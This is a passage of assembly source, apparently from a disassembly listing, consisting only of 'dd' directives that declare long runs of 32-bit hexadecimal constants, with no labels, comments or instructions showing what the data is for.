		dd 0AF55FB1Ch, 0F3D7F080h, 2E3505h, 6E0A052h, 982D0226h
		dd 83F5A925h, 0E06E7460h, 0EEB93A2h, 6076308Ah,	0E8F4A800h
		dd 351C5F7Dh, 0DFC098DAh, 56C02B51h, 39901DD8h,	0C5344203h
		dd 60D01371h, 3D54145Ch, 70F3A670h, 95009C24h, 82425312h
		dd 54043D8Ah, 0ED3C34CCh, 3E108880h, 31E04D0Fh,	4FF9E600h
		dd 0C8E54A47h, 6C0A1666h
		dd 0DA9400C2h, 29B51A58h, 0EB2B3900h, 0A95F2F6Dh, 103D0078h
		dd 40435372h, 9400659Ah, 0C30258B2h, 1FD8B815h,	0FE2CFF1h
		dd 5FA0310Fh, 96F23290h, 4F95D000h, 302EEE91h, 9DD20051h
		dd 624ACA97h, 0F9001965h, 8B0360C7h, 1F5FA3FCh,	80D53975h
		dd 6E4A5022h, 20030AEBh, 2C8EE161h, 4865A06Ah, 29D00E8Fh
		dd 7726F93Ch, 0E007465Eh, 40188CD8h, 5CC15034h,	98301F5Ch
		dd 97D60089h, 0FD809E75h, 80EF6F8h, 0E26DBF04h,	0F87213EDh
		dd 0E6550714h, 0E0D5D1B2h, 0E45E5A3Ah, 69F27E77h, 0C4643C00h
		dd 0ACDC7FE8h, 43A700F8h, 0BF32A05Bh, 0A47712EBh, 56126F73h
		dd 0D701E0C8h, 13DE8347h, 582CD440h, 0FE9837h, 2E60AFE2h
		dd 0F0C3742Dh, 59D39400h, 0D20CED53h, 0A61F0048h, 8DA4CF54h
		dd 0F6589964h, 0B7E7056Ch, 2AC736A3h, 6E6C3900h, 0F0A950AAh
		dd 12B1005Bh, 68505D24h, 9600163Ah, 0A86CFCA5h,	171C01B8h
		dd 604F18E2h, 0CEAC2FB0h, 52228D09h, 7CA8C04Ah,	0B8830FB6h
		dd 0E0A75539h, 0F3AC709Ch, 4300141Eh, 9061CE30h, 0F471CCh
		dd 0C8FC32FAh, 5077FD11h, 0C57A61Ch, 0C3D58547h, 0FE03E250h
		dd 0D12B30C4h, 86305C19h, 6E8ABC03h, 0F8E10510h, 39D1EB6Fh
		dd 128E3AA0h, 0C05F2E78h, 4FB9743Eh, 6F004417h,	8C6D6432h
		dd 0EE4372Fh, 0B0C1FA23h, 0EFC7A4C0h, 32E2465Fh, 0CCDD0500h
		dd 36AD30Dh, 635FB0DFh,	2567831h, 909AE7F0h, 8BD3500h
		dd 8FFDE574h, 0E8A0010Bh, 7965ACFCh, 5A6C3042h,	6D47AB00h
		dd 76D2C202h, 3CB603h, 0ACEF241Ah, 0F8E019FBh, 8E5E4700h
		dd 0FD13C87Ch, 924903FCh, 11C68089h, 6A4BFFC9h,	0A97D6C0h
		dd 4C060712h, 808495B6h, 7D291E0Eh, 82540200h, 0E87BA5A4h
		dd 78EB157Ch, 2190884h,	0E093215Eh, 0E1E8C44Bh,	3508A60Eh
		dd 0DE3E00Bh, 0E4F8223h, 347BA33Fh, 28AAB3E1h, 4725E819h
		dd 2E94CB00h, 441D1BEEh, 8AC12CC4h, 0E6033CDCh,	0E8A3ADE0h
		dd 4A3FE186h, 2133B2C4h, 0A9880CEEh, 3C410800h,	0F90EA57h
		dd 38246043h, 0D395E61Fh, 23F2E00Ah, 5B1C24C6h,	5D358F39h
		dd 0CC78A4Bh, 406B2509h, 0D2C14h, 0BBF0E07Eh, 9550BC24h
		dd 0C45B1E00h, 0AFFDBDD4h, 1A1F0001h, 0F05A2997h, 8600A766h
		dd 2F956A03h, 64A451h, 0AC4934A1h, 0E3DD6CE4h, 124BA200h
		dd 0D3D9E5CFh, 0ED8D1F25h, 3D2E2C59h, 9879A332h, 75D049Dh
		dd 10CE1AA1h, 5DF78F41h, 6C0203Fh, 88192FDEh, 9B0D0029h
		dd 0A451A96h, 38008F43h, 7482A15Dh, 0AB56FAh, 0BD21797h
		dd 0D7BD6A57h, 0ADE1EA00h, 3A7EE873h, 0FC3E18A9h, 5363713Dh
		dd 2E9A3800h, 83065B4Dh, 1AC63C2Bh, 0C2F5C881h,	0C45695F2h
		dd 8600B60Bh, 0D435444h, 0C0E88C5Eh, 84ACA398h,	0FF0C2595h
		dd 0B942D850h, 9B45883Ch, 0C680E1DDh, 74C11A7h,	1FE60C71h
		dd 0D7F92029h, 29C28FE2h, 90827353h, 294ABF88h,	2846E0Fh
		dd 5E0599A5h, 42280880h, 0A11544C7h, 9CCDEAh, 36E6D42Dh
		dd 3C07A782h, 7426F695h, 0AB460218h, 0C1C085D9h, 0F8009398h
		dd 5180E1CAh, 0F62A7D0Dh, 13A07CCh, 86B8B594h, 0C40289D9h
		dd 5AE25C45h, 284CC0F1h, 0A2FD3DB1h, 90F70585h,	0BC40703h
		dd 98BF365Eh, 0D1994430h, 0DF9A17h, 0F01F9C4h, 2D3A090Bh
		dd 8C42593Ah, 7890C15Eh, 94A444h, 0EC37E6A3h, 53AF20E5h
		dd 940F8000h, 0E83F9EC8h, 77BB20F5h, 4F009872h,	0FD1B47CDh
		dd 2E010AA3h, 1F4ADC2h,	1D0F0BA4h, 0D5988F0Ch, 61916CAEh
		dd 0FD01006Ch, 7AF010C9h, 0D4008143h, 0CD7EF6B9h, 0B5AD36h
		dd 93A35634h, 9DA1D3DFh, 62E839C0h, 854282h, 0A0C34C4Eh
		dd 0AE599302h, 4C09F739h, 52EF1DECh, 0D1F9C800h, 259BF4h
		dd 2A3B3A97h, 35761B0Dh, 5DB8AC00h, 0F6304E82h,	0F5791Ch
		dd 14C89F02h, 0EAA54D4Ah, 2434BC24h, 15A70F00h,	77A48301h
		dd 0F97A673Ch, 6F42C20Ah, 0D474C83h, 0F9F480C5h, 9B07EDB0h
		dd 0D344719Fh, 0F666971h, 0A27B31C8h, 50D90CB4h, 0FD49002Ch
		dd 8F92AAEBh, 0F0F55CE9h, 0AC143386h, 0E0046415h, 349AFh
		dd 0F43EDA7Dh, 0FB45B80Fh, 8A633Eh, 86A41502h, 0A777FEh
		dd 0BF106FACh, 0C5646C5Dh, 14614500h, 7C5446BCh, 0FF3D00A1h
		dd 64C331Fh, 0D130C164h, 25B5691Ch, 0A730013Eh,	9D98DF13h
		dd 29089883h, 2E5B21h, 1AF80C3Eh, 0AED2B971h, 76D58C00h
		dd 129E3952h, 2318014Dh, 0CAE3FCD3h, 79B8801Ah,	0EC861362h
		dd 1E08314Fh, 0C89A19D0h, 1A04F623h, 55CC3329h,	4F67FF80h
		dd 4370032Dh, 0F5C1C372h, 6EF1ACD0h, 4A5368EEh,	57A38220h
		dd 0E87619C9h, 0C2547A71h, 0D40084A0h, 0A518F2D8h, 3A411E78h
		dd 6B3375DDh, 0D7985D21h, 5C006A52h, 512E456Eh,	5EEED2AAh
		dd 7C18A8A6h, 7D52D8E6h, 3050B22Ch, 9B51B647h, 93A40090h
		dd 0EC503C49h, 4A181B90h, 0DEE8C24Fh, 0E95C309Ah, 2D862A18h
		dd 0AC6AAF28h, 51C37A30h, 0A4B2Eh, 43C1773Ch, 0A714D6D1h
		dd 591AD000h, 0BD747030h, 1890301Fh, 97497A89h,	311A4E00h
		dd 0CCAED63Eh, 5FC4072Ah, 1C9DA7FFh, 0C3024459h, 0D020F83Ah
		dd 0AA0C4041h, 460486D4h, 4BA7493Eh, 5A201762h,	16B3E2Fh
		dd 1D14343Bh, 831CD89Bh, 2B4D67C8h, 10E074BDh, 1318ABh
		dd 410C9A35h, 0F64A1D94h, 983B2A2Eh, 0F88C0090h, 5429D802h
		dd 1566FF60h, 216FB1h, 0F0036E62h, 108F54Ch, 891A1E30h
		dd 23E34A8h, 329A8886h,	704D05E5h, 0B6413BC1h, 0C024A2FDh
		dd 0C7E61E2Bh, 402244A6h, 2C89019h, 39C01E2Ah, 0A3BB20F5h
		dd 0CA96008Dh, 7EF7A543h, 0CE1EBE88h, 75829F51h, 46802F33h
		dd 0D8D2041Ch, 38B518F0h, 0D7AA015Fh, 7B4CB84Bh, 3EA040C5h
		dd 382ACFA5h, 0C03084A1h, 118FA11Dh, 0C3940575h, 401F8982h
		dd 0B20BD798h, 0A53F413Ah, 0FC007267h, 20D16B08h, 60CAD371h
		dd 4229C122h, 500069F3h, 0AAC265DAh, 49D8B1h, 0E6867A2Fh
		dd 29AB25FEh, 9D4459C9h, 9F2A111Ch, 0B951C843h,	0F8407443h
		dd 0CFC2A65h, 441300A8h, 58982BDDh, 0B066C024h,	211709h
		dd 7ADB79F3h, 0D66087AEh, 0C5D130Ah, 0CE02F430h, 80844AECh
		dd 0D41D98FCh, 9E220EA8h, 0B487A523h, 0A486C083h, 0FF4CD819h
		dd 76C48420h, 0DB234083h, 7C38226Bh, 2AA3CB3Fh,	0D305B0C6h
		dd 4F5AE745h, 2E237C2Eh, 1CD9EA01h, 0A0826FDAh,	11183FBEh
		dd 0F504784Ch, 6C29D702h, 3ACAE63h, 0B8036F55h,	7719177Ch
		dd 7C284C72h, 0D8D35400h, 0C39EF0F5h, 3E04DF75h, 2A0E30B9h
		dd 27CDBC99h, 0A399180h, 4F8A1354h, 0B009E73h, 47377A24h
		dd 0A6C72DCh, 1B911CA3h, 26020A98h, 22AC8080h, 0E5A94EA7h
		dd 7C468098h, 6FD7AB01h, 0C75DD19h, 0C3248866h,	8522D801h
		dd 0BA06138Bh, 204B29D4h, 0C480EB84h, 0A8D2C675h, 0C02F0408h
		dd 2AD102FFh, 8C639C29h, 969C86Eh, 0B0B2EF40h, 0E6043440h
		dd 2C6A1B80h, 86141D82h, 18E2309Bh, 66D11099h, 0C8073F18h
		dd 0BDE271BEh, 0F89B1F31h, 0E1FCE434h, 0A35424h, 73582719h
		dd 0BE33EA2Ah, 1EC96801h, 166ABD82h, 0C904CECh,	0B65D9ADFh
		dd 81273F8h, 2C60C064h,	232F3E28h, 0B8085BA7h, 11600763h
		dd 27A0333Eh, 0FF61B1A8h, 0E321E60Bh, 0FA18006Ch, 73C74004h
		dd 781D0776h, 40701A53h, 0BC630CA3h, 0E32F0A0h,	30D962F0h
		dd 2A18CE80h, 0A72D3E08h, 41B6C42Bh, 963E135Eh,	9772ECh
		dd 594EB9FDh, 0CE34A387h, 3705C09Ah, 61079B26h,	4576EC82h
		dd 8331EF1Ch, 0D5F6068Ah
		dd 802E850Fh, 0F374A9E5h, 0D8164891h, 0C1B42B1Ah, 0D611CCB7h
		dd 68220092h, 0FA67C1EFh, 24108A00h, 22331AA1h,	8B600584h
		dd 815F37F7h, 2366EAB0h, 2D5C50B0h, 2F1028Ch, 600C2AD3h
		dd 21807A19h, 9E036B61h, 8E0BAF3Bh, 1460673Dh, 1134688h
		dd 29A502F3h, 700C5FFCh, 6D6388h, 4DFD0703h, 62EC8A7Bh
		dd 0B973C405h, 0A8499801h, 0A79018B7h, 19676047h, 0DAF5982Fh
		dd 0F4A45550h, 7D406602h, 40FB04A1h, 1463026Ch,	0B878F269h
		dd 0F51A310h, 245840FCh, 648CDA19h, 0FA7C5Fh, 7BBFB04Fh
		dd 73C9F6E3h, 4C567532h, 88A4A0D9h, 97E406Bh, 2567D6BDh
		dd 0C09D4431h, 17013F0Bh, 381D848Eh, 47F222D6h,	642E4290h
		dd 14271018h, 0F0871F05h, 2C8B7501h, 2AACF24Ah,	1A762404h
		dd 58810CC5h, 3A050EE8h, 0E6D2354h, 2343585Dh, 0C816665Bh
		dd 0F82F7607h, 4A006F23h, 7A9A45D6h, 0EA19C79Ch, 0ED76B041h
		dd 0A0E821BBh, 12FD238h, 5DC1578Dh, 3C340FF9h, 0A1890031h
		dd 0BA233DC2h, 80044BA9h, 0B697D11Ah, 7D9CD80h,	14B09Fh
		dd 0F2CEB461h, 30F9D2BCh, 0AC88049Bh, 0C14465D4h, 737BA788h
		dd 2D5C80FCh, 24AEA03Eh, 0C3F82F54h, 8B8D4067h,	1279C474h
		dd 0C8B9E731h, 7005326h, 0C51427CAh, 4CFA1CA6h,	1C585CA9h
		dd 3A006B23h, 68982DDDh, 22BF42BEh, 67F1020Fh, 1F0271DBh
		dd 0A609D8E4h, 0B3DC87C9h, 0A978A000h, 0E8314D54h, 0D4011D22h
		dd 0BB3DE34Dh, 0C3E430D9h, 1AC22A13h, 95A700E0h, 86215664h
		dd 90A8A8ACh, 101205FCh, 4046A94h, 0D6307A73h, 1817F4D7h
		dd 0FC2C75D5h, 0D8CE0683h, 8102F96Ah, 67533C1Ch, 7CB9DC0h
		dd 2A94780h, 0AC21DA99h, 40C8344Ch, 6F054641h, 25B918AFh
		dd 0B07AC430h, 37B205A3h, 2F05E530h, 63437CF0h,	0C2DAE01Dh
		dd 7DA5645Bh, 18F540E0h, 0C8999A3Fh, 0F44A29A0h, 56187A79h
		dd 8E46AB00h, 0B96B79C3h, 2B3F3074h, 0F8E59750h, 0C2801C54h
		dd 0A45C700h, 0B0D1F9D6h, 85613C25h, 0B3D4AF0Eh, 83466EC0h
		dd 0BD269A16h, 467CC8C6h, 0C269016Dh, 306E7821h, 0C11B1FD0h
		dd 3F0D8681h, 177C349Ah, 9B2A2905h, 0BC1A1D54h,	445CC750h
		dd 707C60B1h, 361A01FCh, 7FB6D5ABh, 0BD5024A9h,	82B86896h
		dd 9DD182AAh, 48B466DDh, 0C33ED467h, 3E2B0243h,	5183A73Ah
		dd 745560C0h, 2B01443Eh, 4BB78914h, 242D3B46h, 0E40BD800h
		dd 0AEA37270h, 71A09449h, 50A8BC26h, 0C820F945h, 2050Bh
		dd 876B0154h, 1B36754Ah, 0C49F8C1Ch, 67669D41h,	882029A6h
		dd 61123CDFh, 4824BCA7h, 57E0822Ch, 49F83631h, 32484A98h
		dd 0C02F14FCh, 9B54DB73h, 0D86900F5h, 76EA41AEh, 4A26BCC9h
		dd 6CC76092h, 0BD403BE0h, 4BA60452h, 0D80C0F21h, 49707A4Ch
		dd 0F8505E4Ch, 580E8C6Fh, 0A91BBEh, 7142ECD7h, 25ACB87Eh
		dd 40A27D0Fh, 0A8648E23h, 2107AD46h, 7BA74C3Eh,	75CEC9Ch
		dd 0E55A00BCh, 1E956DB7h, 0EBBB00F7h, 1D867269h, 58C1B87Bh
		dd 8A5EA4A3h, 0F50870BEh, 35A56E16h, 73C080CCh,	0D134462Bh
		dd 0E5E7C600h, 58041B56h, 0E4182717h, 6D91D017h, 8E9FAD80h
		dd 1D04E63Eh, 0B1E2A4A7h, 0E860C4B1h, 2009130Fh, 0C88C8BB5h
		dd 0C9D2C06Bh, 6900961Bh, 0CD4AB6B1h, 0EDABBABh, 0F599CA48h
		dd 0F6886C6Ah, 0D4426C02h, 0CCDC845Ch, 0E0200B10h, 0AD07327Bh
		dd 19D1E340h, 66CF3900h, 10DBDDA2h, 0DA77BDh, 9F4CD5B5h
		dd 376EDF73h, 49CD8D0Fh, 4BC99880h, 0C1BE0347h,	0DA22217Fh
		dd 35BA97D0h, 49622901h, 0A53B2BFFh, 981834h, 0D34BB99Ch
		dd 5328CC9Fh, 1C20B21Eh, 88015A5Eh, 0F8644989h,	59474830h
		dd 0B7820CD0h, 0CCA09D7Eh, 4382ADD6h, 90A4B925h, 0F0D286F4h
		dd 843A27ECh, 40F99CA0h, 794C5A53h, 2E4277F4h, 7AAC4C5Ch
		dd 37CD008Ch, 0F0ED0C83h, 0B050B6DCh, 0C20BD748h, 76D402Ah
		dd 58946A98h, 169233Ah,	0C2BE91C9h, 2906EC27h, 94BCEB24h
		dd 38086793h, 0DDA1CF6Ch, 18409844h, 6EDC880Fh,	0F8B3DB0Fh
		dd 246D4A31h, 0BF291805h, 1CA50490h, 988550E6h,	2C205C02h
		dd 63965C7h, 0C991018h,	86127AD0h, 3BBB38h, 75762F23h
		dd 0EA867Dh, 0BA371CA2h, 65089A84h, 2E623Fh, 0E2E7797Ch
		dd 9D0A7h, 19702FC6h, 2DD5781Dh, 79C7ACA0h, 130200B8h
		dd 3F2E30DDh, 1A64C8C1h, 33260428h, 0E0C62967h,	0C4407DC4h
		dd 95D202A7h, 5FBC2AC1h, 27A16840h, 151F830Eh, 57F8F11h
		dd 0F0A0EF0Ch, 12BA4F6Dh, 23143A48h, 9853017Bh,	0EC5743F1h
		dd 0A09BB996h, 4A34A302h, 0BDB4807Eh, 947CC1D9h, 2F6B63B4h
		dd 70ABA80Ch, 22290FEh,	35A251D2h, 785003AEh, 6A8AC500h
		dd 8FC720Eh, 0F14C25F9h, 1874E0B9h, 0AA03096Ah,	0B865C429h
		dd 3686C87h, 0E856D8C0h, 0F518022Eh, 20BF52CDh,	42008C52h
		dd 998D55CAh, 123F7F3h,	761B4B7Eh, 2DC9A298h, 5B8F0054h
		dd 8B14D17Fh, 5079033Ch, 18E59B40h, 8E8D76D8h, 0C25D24Eh
		dd 84C28C80h, 3C08B6CDh, 0ED249B8Ch, 86257AF8h,	3F6831FCh
		dd 0AEF38472h, 0AC8034ACh, 286CB8E3h, 33EC17DEh, 0A5B183D4h
		dd 2101A1D8h, 9892377Ch, 0E11E4800h, 0A87C1CDAh, 1E20B9F7h
		dd 0A215E75h, 5B01FB6h,	0C8F0CB4Dh, 0B0B9FC04h,	61E8DC00h
		dd 24D1319Dh, 80EC5186h, 0B5547ABBh, 0EC39C888h, 1C2F9744h
		dd 0A4CF3500h, 4AB4667h, 76E6D63Eh, 7A78CCA9h, 9ADEB009h
		dd 7E20C6B4h, 0E53316A3h, 10C82F05h, 0B8C06417h, 2982AB99h
		dd 0E1789B19h, 0E03DDA68h, 10342ED3h, 1EC063B6h, 95D0E9C7h
		dd 4BC5307h, 230F9EF7h,	9032BB6Bh, 47A9451h, 58D143CEh
		dd 12A0E026h, 5CE2EB02h, 680F2598h, 200A1F48h, 860C7783h
		dd 18572F0Dh, 0A4F499A1h, 806A1184h, 9846DD37h,	0DA028710h
		dd 0F327DD44h, 109240A4h, 0FA0E23CDh, 9E243D06h, 0E003F66h
		dd 0C782E7C5h, 45B83CA4h, 692C7F3Eh, 42660045h,	0B3D402D0h
		dd 50398500h, 0AFEB2FE7h, 1F29C35Fh, 0A5E9FB3Ch, 0B7A6E49Dh
		dd 53ED0A0Fh, 6F20E3DDh, 0D646807Eh, 0F1D13E1Eh, 81ACEF07h
		dd 7BFAF3E3h, 5DEE8003h, 0A08C18BCh, 66774419h,	21D1082Dh
		dd 0BCD3C002h, 607A87BAh, 1D5EC9B6h, 3D8259h, 8C496C2h
		dd 0D300242Dh, 83D17D8Ch, 3C7B14Ah, 922027DCh, 0B062268Dh
		dd 1B802D78h, 8B7B5873h, 0DB443CA4h, 0BCD100CEh, 1BE42272h
		dd 0C202895Eh, 0F053673Bh, 7F9C8052h, 4BF9EAh, 2C6356DCh
		dd 6EDEEEC3h, 624DAA03h, 27B0809h, 0B8BCF29h, 0F761374Fh
		dd 3D0C40E3h, 5E01391Bh, 87D719D2h, 89821FAh, 133C2128h
		dd 0B7253A04h, 0FE801505h, 17048C1Ah, 1E2C5412h, 93F04CBFh
		dd 16F840E0h, 3C182E60h, 2AC10EFEh, 0D451B5h, 3469858h
		dd 798DAADDh, 8BAF533h,	2221002Fh, 24144D5h, 0D40C2115h
		dd 582E8CAEh, 0ADB210F5h, 6B35002Ch, 4711BE15h,	2087498Dh
		dd 0F506B500h, 18DE8AFAh, 0CF6BCA05h, 94309165h, 36BDE3h
		dd 71FCA914h, 7076DB62h, 101C0C24h, 52D60F02h, 81C905D2h
		dd 0C0678F58h, 7306C899h, 47B24F0Eh, 0B41800A9h, 7EF034ACh
		dd 8A072E8Bh, 512F081Eh, 0CB923C41h, 802B3C20h,	650AD60Bh
		dd 8853EE1Ch, 8F80DA11h, 0C2DCE246h, 3530448Ch,	0F044D400h
		dd 51D897C6h, 1801607Dh, 1B6CCC78h, 7E1A9E00h, 5BD492D1h
		dd 9BB71233h, 0B300C76h, 10001A29h, 8BBACE2Ch, 18A61A2h
		dd 911686A3h, 40DCDA5Ah, 47B77098h, 5E60D3FAh, 58830279h
		dd 15067822h, 0F4449A16h
		dd 60A98E1Fh, 24598D24h, 1A80D011h, 0D1D25B3Ah,	2322DA43h
		dd 39F21300h, 2C84BE65h, 0A8DCAB8Ah, 0F4D9534Fh, 3FC80085h
		dd 39F81B86h, 50B827B8h, 0B6D45F06h, 781C49h, 9B5D048Bh
		dd 0D8ED8428h, 0B2D15013h, 0B7EC0421h, 3CF0D560h, 130C6F9Eh
		dd 1F698633h, 8F82E404h, 40D8E510h, 0CCC8881Ch,	0FE598207h
		dd 4670FD3Ch, 2C77F38h,	0DB4560C0h, 0D44010E2h,	0E4A11925h
		dd 7B9B18D6h, 0A2DC2346h, 21075411h, 0C05244D0h, 7D317B18h
		dd 0F73FB20Eh, 201D1CC3h, 0E0921CCDh, 0AA14C23h, 82D80D7Fh
		dd 46C62A0Ch, 3FDE10D4h, 4F77002Fh, 0FCEED875h,	85A00988h
		dd 4C06269Ch, 6D74F999h, 9436F129h, 9D82FE80h, 86243510h
		dd 0C62144h, 8C0582E6h,	0D85D2368h, 87DD5706h, 45829A0h
		dd 0E29FA389h, 0D57892F1h, 0A469C30h, 27CADCE7h, 0C9365894h
		dd 0DC244426h, 6728C08h, 2161B25Ch, 86A6600h, 6DC985C6h
		dd 0CFB904D8h, 0C0B681BFh, 89769C45h, 4AB1DC18h, 15C0331h
		dd 0E7D792BBh, 0C8CA134Dh, 0E3095961h, 0A03E0481h, 31D6EE28h
		dd 626B02EFh, 0C97AC67Fh, 25106E41h, 21AFE4E0h,	8D53EC0Ah
		dd 3580CCE7h, 4641B40Dh, 908CA881h, 0F9D20F5Dh,	8D0A2549h
		dd 84C13D4h, 0E48520B4h, 788839F4h, 74449012h, 600A801Eh
		dd 0D0CEC500h, 17772737h, 88BCA810h, 0EEC155Ah,	9987A4D4h
		dd 72DD0146h, 885B0C8Dh, 4600A61Fh, 0D2AC8332h,	9D31E4h
		dd 1B6FFA42h, 0A049FB41h, 7E510E09h, 67242107h,	0B0E4BE4Ah
		dd 793B0053h, 6937C4DDh, 0A1002646h, 0F4409991h, 0BC6ADB7h
		dd 0E020B6EEh, 0C8B3000h, 0C8906B74h, 820FC53Ch, 8341A523h
		dd 2DAC683Ch, 121EEB0h,	5E5F2A87h, 0C09CFC49h, 520606CFh
		dd 6E6DB488h, 0C6EE0A40h, 3C4ECD6h, 6AFC58EDh, 0D8F6F580h
		dd 0A6121B04h, 7D05F747h, 8BC53AEh, 708E5570h, 197C0CC4h
		dd 0DA214406h, 0EEDB170Ch, 7BBC110Ch, 0E9E005CAh, 0BB128E03h
		dd 2266FC00h, 7E9AB22Ch, 0F0AD19BBh, 0E07A3109h, 0A9019EC3h
		dd 0FD58275h, 0A9308A3Eh, 0EAB40086h, 68882E08h, 821716BCh
		dd 6020B248h, 5F56A9h, 3020FEA1h, 81D2BBEDh, 0D804A0B8h
		dd 4ECB3788h, 300854C2h, 9C4982E5h, 0C8544800h,	2DBF8080h
		dd 0A9D0E583h, 0FF1BA116h, 0F4FD7020h, 0E6950055h, 930CD6C4h
		dd 3C1279E3h, 74006162h, 80BD11Dh, 0E97F245Eh, 0AA7800D0h
		dd 82132D20h, 0BBC54115h, 70C050A0h, 3D0B5840h,	0F3001ABEh
		dd 5E4A7753h, 3718C2E5h, 7C200EE4h, 0DE2E14E9h,	77F220D4h
		dd 490EFD38h, 589468CFh, 0BADC247Ch, 4032C468h,	0D744DB38h
		dd 0A4D4589Eh, 5F1BF163h, 0D9B07BE8h, 0D28A4E0Ch, 754D3142h
		dd 0ECBA2EB7h, 2E465E40h, 0FA692B00h, 0FC76D005h, 4961987Ah
		dd 83824721h, 0D60AE022h, 3A4D8CEh, 25B8734Bh, 56EDF019h
		dd 0F8631DA1h, 50305CA2h, 1F567537h, 8FB4D3ADh,	0CC2ACAEDh
		dd 0EE8F83B8h, 53DA02FEh, 324444C7h, 0C32BF660h, 0C6D60C09h
		dd 17D4A9EBh, 805C9130h, 0F42067A5h, 13BC0029h,	37D8F5C3h
		dd 0A8C02A60h, 6BB010Ch, 177200B0h, 7A973EA5h, 0B54CD1A4h
		dd 1C09CE8h, 8F63B2Fh, 0CE04000Ch, 0D55810F2h, 140083AFh
		dd 2D3CDE19h, 0E07F8102h, 0EC9B581Ah, 78C93E8h,	0C522DD64h
		dd 0EB5E918Ch, 3DA0400Ch, 3E651093h, 0D84872B0h, 469DC0D8h
		dd 925CDCE4h, 0CA03E0D0h, 316E0244h, 0CB22D4E3h, 80231CC2h
		dd 0EE0D23Eh, 29F52F1Bh, 28B8FCh, 0D27327A5h, 0D5633849h
		dd 6FDCB750h, 1DEC2925h, 805B1128h, 0F02577D7h,	68731EA0h
		dd 439F00F5h, 79FBCE2Bh, 0FE564112h, 2F23D02Fh,	2221B000h
		dd 0F116E7AFh, 9247DF4h, 765A3AF5h, 26844088h, 0EB6C0B3Ch
		dd 67EF3CA4h, 10AB8300h, 92448C05h, 82E80BC4h, 98824F87h
		dd 7F00262Ch, 0B147E60Ch, 595702E4h, 0B887624Eh, 169F8E8h
		dd 58C15D0h, 0CFB899E2h, 0BCD2C110h, 3F27CD0Eh,	32080066h
		dd 90DFC7BEh, 8E471890h, 0D48C8995h, 20A83894h,	2C718020h
		dd 0E004989h, 90B87204h, 0E0A4CDAh, 805C1206h, 51E99142h
		dd 8F171498h, 985C1B58h, 18803EC8h, 162B39EFh, 0E34E00DEh
		dd 25425329h, 93185D74h, 0EF785404h, 0B591C685h, 19039976h
		dd 685AEC84h, 0C7791028h, 39EDC0E3h, 4A09D260h,	3AD428D7h
		dd 0A8020572h, 98C98E02h, 0A804449Dh, 18DCFDC4h, 8024D037h
		dd 0D7245E07h, 8809A810h, 8094A113h, 0F7007A86h, 0F28D6D1h
		dd 0CC87D884h, 187F0A42h, 97542C7Bh, 8D00D1C0h,	0F24F18A9h
		dd 0FC82C8h, 0D0063E16h, 0E3E20A7Ah, 19C39E0Ch,	0C90817Fh
		dd 0D3834564h, 5E143041h, 50ECE7F3h, 5740ACD8h,	48D6F805h
		dd 2058AC22h, 0C1B6B11h, 9116C770h, 95B838AEh, 9AB3B28h
		dd 0FE3C8215h, 33B24022h, 5ABA94A0h, 550548DCh,	6AC10441h
		dd 7F91C419h, 1FC9A42Ch, 8DB07013h, 0E70E775Eh,	60486569h
		dd 0A1859EDAh, 6C675CB4h, 0D4910E80h, 9C1A8880h, 60785F25h
		dd 68D30FCh, 0E3F00AC0h, 7C006951h, 52DF14E7h, 0E2BA4D8Ah
		dd 8C5718CBh, 0DA62F02Ch, 88D9F412h, 0E4E75082h, 4CA10F78h
		dd 0C03C6BA4h, 2805A81Bh, 2A04E3B5h, 5293EFC1h,	0B00030E2h
		dd 21AEF2D7h, 0C016A09Eh, 0A801BAA1h, 6235B48Dh, 16DBA08Bh
		dd 62EC4CE1h, 3031F258h, 0A000D828h, 81D41F3Ah,	0E08488F7h
		dd 0EEF93499h, 0F234E229h, 85B43354h, 0EEEC3254h, 426FCB10h
		dd 68214A48h, 0F98E087Dh, 752D42Bh, 10CF07CEh, 35123C58h
		dd 37114100h, 2D8F80B7h, 549200BAh, 639EF351h, 2C1248D4h
		dd 0BCD179C2h, 0DF0C3306h, 9028825Ah, 73078C80h, 0B688E070h
		dd 8C138390h, 5DD9289Ch, 0D020E1B4h, 76AA037Bh,	63A2E377h
		dd 0E6B35200h, 43BE10AEh, 75D49015h, 44F201F5h,	5968A175h
		dd 0CACC20F3h, 0BC5E028Ch, 19D58B1Bh, 0B7809865h, 0F4B0BCD8h
		dd 12030124h, 1BC60E72h, 597010FEh, 900162E8h, 0A0448DFDh
		dd 215E7096h, 35807BD2h, 54138A31h, 101501EFh, 79B2EA12h
		dd 0D4F88125h, 160C8190h, 3BAB434h, 0C60D037Eh,	9004F543h
		dd 32EA0502h, 9E258F2h,	0A74C330h, 0CC81AD70h, 0BC5C405Ch
		dd 65468BE9h, 0C5E91030h, 3700BCD6h, 8F70174Ch,	79FDD127h
		dd 612403BAh, 25109745h, 0C388EFB0h, 7702A099h,	406D9490h
		dd 24DBDA3Ch, 8140BA7h,	8A6F36F2h, 0ED12E882h, 80C81467h
		dd 6C82E371h, 5B002FEEh, 775510EDh, 4DBE383Bh, 82177C1Bh
		dd 5A408A7h, 91C0E2C7h,	85241510h, 8240CA9Ch, 75F0EC1Ch
		dd 94E9528Eh, 9635DB00h, 47334C1h, 0FDD3B000h, 85996B1Dh
		dd 3C9C0A26h, 10D08C1Ah, 8182002Ah, 67FA63B4h, 332D0052h
		dd 415EE6BAh, 8101E15h,	0B14844C7h, 1D8D32Bh, 0D25C3A19h
		dd 882618E9h, 3903F116h, 5B7425Ah, 0D0C0CD29h, 4C37C634h
		dd 1A12ECFFh, 3379021Eh, 0B4A2AC73h, 2E42EE0Fh,	898EC004h
		dd 19602054h, 30424B41h, 0E4E0E5A2h, 0AAC060D1h, 20289A25h
		dd 470B5394h, 481F62B5h, 514F80h, 92186BD2h, 43DE6F98h
		dd 0CA565A00h, 0F2A0EB81h, 0D19C995Ch, 3F97185Ch, 3787A402h
		dd 122E4BC4h, 0FCB7262Bh, 9C466280h, 0FC8C0A38h, 0CB69C043h
		dd 78C88A3Eh, 0E22C8F52h, 0A9A3301Eh, 1509EA00h, 0FD917C0Fh
		dd 828CB096h, 7E7540C7h, 0A51C9A88h, 7BD2E2C0h,	0D80BF81Bh
		dd 0A09504E4h, 0C185D5BFh, 1251214h, 0C8AE5DC2h, 2E4674FCh
		dd 5A719000h, 0F7EC3D1Bh, 76BA0412h, 0AC4F48Bh,	1B9D307Fh
		dd 387C5C06h, 0EEF28F82h
		dd 700B044h, 36246944h,	7E3F95CCh, 0C8920058h, 7604E138h
		dd 5C07BA22h, 804562BEh, 5F34A0DBh, 0A84FC6D2h,	176397A8h
		dd 2FAD9AD1h, 7BDC10C0h, 0F6CBF5C3h, 0ED921AC0h, 7A46FD15h
